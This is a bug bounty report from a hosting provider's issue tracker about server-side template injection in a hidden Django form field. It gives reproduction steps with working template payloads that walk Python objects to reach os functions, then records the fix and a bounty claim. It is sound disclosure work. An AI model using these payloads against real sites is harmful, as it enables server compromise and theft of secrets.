- Status Closed
-
Assigned To
cbay - Private
Attached to Project: Security vulnerabilities
Opened by Siddharthsharma9449 - 18.11.2026
Last edited by cbay - 23.11.2026
Opened by Siddharthsharma9449 - 18.11.2026
Last edited by cbay - 23.11.2026
FS#556 - SSTI in addresses-MAX_NUM_FORMS Hidden Field Leads to RCE
Summary
The addresses-MAX_NUM_FORMS hidden field on /site/add/ is reflected through an unescaped Django template on form submission. Injecting template expressions causes server-side evaluation, reaching Python objects, leading to Remote Code Execution
Steps to Reproduce
1. Log in to the test account and open https://admin.alwaysdata.com/site/add/.
2. Open devtools → Elements and search for addresses-MAX_NUM_FORMS. You'll find, inside the "Addresses" block:
<input type="hidden" name="addresses-MAX_NUM_FORMS" value="100000" id="id_addresses-MAX_NUM_FORMS">
3. Change its value to:
live{{7|add:42}}live
4. Leave the address field empty and change nothing else. Click the form's submit button.
5. The page comes back with errors ("At least one address must be specified", "Max num forms : Enter a whole number"). View the page source and search for addresses-MAX_NUM_FORMS again:
<input type="hidden" name="addresses-MAX_NUM_FORMS" value="live49live" id="id_addresses-MAX_NUM_FORMS">
49 means the server evaluated the template expression.
Second step, showing it reaches Python objects
6. Reload /site/add/ (fresh form), set the same field to:
RCE-{{form.forms.gi_frame.f_globals.django.conf.os.uname.nodename}}-{{form.forms.gi_frame.f_globals.django.conf.os.getuid}}
and submit the same way. Live result was value="RCE-overlord-core-33", the panel worker's process id.
Impact
Attacker can execute arbitrary commands on the server, read SECRET_KEY, environment variables, and internal server details — resulting in full server compromise.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
New Alwaysdata SSTI to RCE.mp4
Hello,
Can you verify that the vulnerability is fixed?
Kind regards,
Cyril
Hi, I have checked and found the vulnerability is fixed. Can I claim the reward.
Thanks!
You can claim your bounty by opening a support ticket.